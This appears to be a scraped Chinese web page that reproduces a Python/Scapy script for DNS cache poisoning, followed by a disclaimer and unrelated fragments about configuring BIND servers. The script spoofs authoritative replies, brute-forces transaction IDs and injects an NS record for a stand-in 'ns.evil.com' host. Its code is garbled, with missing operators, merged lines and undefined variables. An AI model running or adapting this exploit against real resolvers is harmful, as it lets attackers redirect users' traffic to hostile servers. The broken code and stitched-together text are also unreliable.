时间:2021-05-25
from scapy import *
import random# Copyright (C) 2008 Julien Desfossez <ju@klipix.org>
# http://."
# sub-domain to claim authority on
domain = "sub.example.com."
# Spoofed authoritative DNS for the sub-domain
spoof="ns.evil.com."
# src port of vulnerable DNS for recursive queries
dnsport = 32883# base packet
rep = IP(dst=targetdns, src=srcdns[0])/ \
UDP(sport=53, dport=dnsport)/ \
DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4),
ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof) 1, type=2)
)
currentid = 1024
dummyid = 3
while 1:
dummydomain = "a" str(dummyid) basedomain
dummyid = dummyid 1
# request for our dummydomain
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
send(req)# build the response
rep.getlayer(DNS).qd.qname = dummydomain
rep.getlayer(DNS).an.rrname = dummydomainfor i in range(50):
# TXID
rep.getlayer(DNS).id = currentid
currentid = currentid 1
if currentid == 65536:
currentid = 1024# len and chksum
rep.getlayer(UDP).len = IP(str(rep)).len-20
rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload))print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain)
send(rep, verbose=0)# check to see if it worked
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
z = sr1(req, timeout=2, retry=0, verbose=0)
try:
if z[DNS].an.rdata == targetip:
print "Successfully poisonned our target with a dummy record !!"
break
except:
print "Poisonning failed"
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
1、准备例:两台192.168.11.10(主),192.168.11.11(从),域名#主从DNS服务器均需要安装bind、bind-chroot、bind-
在ubuntu下简单地搭建一个DNS服务器,主要是想了解DNS的工作过程。1,安装相应的服务器软件。apt-getinstallbind9安装bind92,设置
配置要求如下:在服务器中安装配置bind服务,负责区域"xiangcheng.net"IP地址为10.100.100.x,主机解析,五台主机分别为dns.xia
1、准备例:两台192.168.219.146(主),192.168.219.147(从),域名主、从DNS服务器均需要安装bind、bind-chroot、b
1、设置网卡IP地址为:10.1.1.2;子网掩码:255.0.0.0;网关:10.1.1.1;DNS:202.99.96.68(Win9X重启,Win2K/X